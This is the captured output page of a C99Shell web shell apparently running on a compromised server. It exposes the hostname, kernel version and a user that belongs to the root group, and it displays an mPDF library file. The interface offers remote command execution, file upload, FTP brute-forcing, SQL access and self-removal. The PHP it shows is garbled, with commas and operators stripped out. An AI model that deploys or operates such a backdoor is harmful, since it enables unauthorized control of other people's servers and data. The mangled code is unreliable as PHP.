!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/vendor/mpdf/mpdf/src/Utils/   drwxr-xr-x
Free 26.13 GB of 117.98 GB (22.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Arrays.php (2.03 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Mpdf\Utils;

class 
Arrays
{

    public static function 
get($array$key$default null)
    {
        if (
is_array($array) && array_key_exists($key$array)) {
            return 
$array[$key];
        }

        if (
func_num_args() < 3) {
            throw new 
\InvalidArgumentException(sprintf('Array does not contain key "%s"'$key));
        }

        return 
$default;
    }

    
/**
     * Returns an array of all k-combinations from an input array of n elements, where k equals 1..n.
     * Elements will be sorted and unique in every combination.
     *
     * Example: array[one, two] will give:
     * [
     *     [one],
     *     [two],
     *     [one, two]
     * ]
     * @param array $array
     * @return array
     */
    
public static function allUniqueSortedCombinations($array)
    {
        
$input array_unique($array);
        if (
count($input) <= 1) {
            return [
$input];
        }

        
sort($input);
        
$combinations = [];
        foreach (
$input as $value) {
            
$combinations[] = [$value];
        }

        
$n count($input);
        for (
$k 2$k <= $n$k++) {
            
$combinations array_merge($combinationsself::combinations($input$k));
        }

        return 
$combinations;
    }

    
/**
     * Returns an array of unique k-combinations from an input array.
     *
     * Example: array=[one, two, three] and k=2 will give:
     * [
     *     [one, two],
     *     [one, three]
     * ]
     * @param array $array
     * @param int $k
     * @return array
     */
    
public static function combinations($array$k)
    {
        
$n count($array);
        
$combinations = [];
        
$indexes range(0$k 1);
        
$maxIndexes range($n $k$n 1);
        do {
            
$combination = [];
            foreach (
$indexes as $index) {
                
$combination[] = $array[$index];
            }
            
$combinations[] = $combination;

            
$anotherCombination false;
            
$resetFromIndex = -1;
            for (
$i $k 1$i >= 0$i--) {
                if (
$indexes[$i] < $maxIndexes[$i]) {
                    
$indexes[$i]++;
                    
$anotherCombination true;
                    break;
                }
                
$resetFromIndex $i;
            }

            if (
$resetFromIndex 0) {
                for (
$i $resetFromIndex$i $k$i++) {
                    
$indexes[$i] = $indexes[$i 1] + 1;
                }
            }
        } while (
$anotherCombination);

        return 
$combinations;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--